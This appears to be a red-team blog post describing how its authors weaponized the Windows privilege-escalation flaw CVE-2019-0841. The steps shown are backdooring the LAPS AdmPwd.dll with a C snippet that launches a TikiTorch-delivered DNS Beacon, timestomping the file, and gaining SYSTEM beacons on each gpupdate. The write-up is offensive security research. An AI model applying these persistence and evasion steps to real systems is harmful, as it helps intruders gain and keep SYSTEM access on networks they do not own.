Weaponizing CVE-2019-0841 with LAPS

On April 9, Nabeel Ahmed annouced details of CVE-2019-0841 - the tl;dr being that it allows low privileged users to take Full Control of files owned by NT AUTHORITY\SYSTEM, which can lead to EoP. Nabeel published a comprehensive blog describing the vulnerability, PoC code and a video demonstration.

The video shows a low priv user taking control of psmachine.dll and popping a SYSTEM shell via the Google Chrome Update Service. However, the PoC code only goes as far as taking control of the target file, meaning we have to complete the weaponization ourselves (which is no bad thing). I was working with RythmStick on a small engagement, so we decided to give it a go.

We quickly reproduced the Google Update Service takeover on a test system and verified we could pop shells. Our target machines did have Chrome installed but the update service was disabled, so the modified DLL would not fire. RythmStick went off in search of other candidates that we could use and eventually mentioned LAPS.

We already know some ways in which we can abuse the LAPS AdmPwd.dll, but this time we created a DLL that would actually spawn us some shellz.


In our little walkthrough there, we have an HTTP Beacon running as a low priv user. This user is not a local admin.

First, let’s verify the DACL on AdmPwd.dll to demonstrate that we don’t currently have control over it.

Exploit CVE-2019-0841

Nabeel’s PoC is written in C, so we have to upload it to the target to run.

Checking the DACL a second time, we verify that we have now indeed got control over that file.


You can place the backdoor pretty much anywhere you like inside AdmPwd.dll, depending on the conditions under which you want it to trigger. We opted to slide it into DllMain so it would run on each gpupdate, though I think putting it inside the password reset block would be a more interesting long haul persistence mechanism.

And because I suck at C, I just did a very simple CreateProcess that would run a customised TikiTorch payload from disk. This contains a stageless DNS Beacon payload.

void Backdoor()

	RtlSecureZeroMemory(&sInfo, sizeof(sInfo));
	RtlSecureZeroMemory(&pInfo, sizeof(pInfo));
	sInfo.cb = sizeof(sInfo);


	CreateProcess(L"C:\\Windows\\System32\\Tasks\\TikiSpawn.exe", NULL, NULL, NULL, FALSE, NULL, NULL, L"C:\\Windows\\System32",
		&sInfo, &pInfo);


//DllMain, Installation, Uninstallation
BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason, LPVOID lpReserved) {
	if(ul_reason==DLL_PROCESS_ATTACH) {
    return TRUE;

Overwriting the DLL is as simple as cding into C:\Program Files\LAPS\CSE and uploading the new one.


As a bit of a bonus, you can also timestomp the DLL back to something that looks more reasonable. If the LAPS UI is also installed, timestomping to AdmPwd.Utils.dll seemed to work well.

Note that 04/13/2019 on the CSE directory is the date of the LAPS installation.


After a gpupdate, we get a DNS Beacon.

This is how the Beacon looks in Process Explorer. It seems there are some nuances when messing with processes as SYSTEM that meant I couldn’t immediately get PPID’ing to work. Maybe that’s for another day.

And after a number of hours, we have a bunch of Beacons.